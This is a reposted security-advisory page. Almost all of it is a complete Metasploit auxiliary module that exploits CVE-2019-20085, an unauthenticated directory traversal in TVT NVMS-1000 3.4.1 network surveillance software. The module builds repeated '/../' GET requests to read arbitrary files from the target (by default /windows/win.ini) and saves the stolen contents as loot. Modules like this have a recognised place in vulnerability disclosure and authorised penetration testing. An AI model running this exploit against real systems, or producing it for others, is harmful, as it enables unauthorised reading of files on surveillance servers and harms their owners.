TVT NVMS-1000 Directory Traversal
2024-9-4 05:1:34 Author: cxsecurity.com(查看原文) 阅读量:2 收藏

TVT NVMS-1000 Directory Traversal

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'TVT NVMS-1000 Directory Traversal', 'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability which exists in TVT network surveillance management software-1000 version 3.4.1. NVMS listens by default on port 80. }, 'References' => [ ['CVE', '2019-20085'], ['EDB', '47774'] ], 'Author' => [ 'Numan Türle', # Vulnerability discovery 'Dhiraj Mishra' # Metasploit module ], 'DisclosureDate' => '2019-12-12', 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(80), OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']), OptString.new('TARGETURI', [true, "The base URI path of nvms", '/']), OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]) ]) end def run_host(ip) filename = datastore['FILEPATH'] traversal = normalize_uri(target_uri.path, '/../' * datastore['DEPTH'], filename) res = send_request_raw({ 'method' => 'GET', 'uri' => traversal }) unless res && res.code == 200 print_error('Nothing was downloaded') return end print_good("#{peer} - Downloaded #{res.body.length} bytes") path = store_loot( 'nvms.traversal', 'text/plain', ip, res.body, filename ) print_good("File saved in: #{path}") end end



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2024090010
如有侵权请联系:admin#unsafe.sh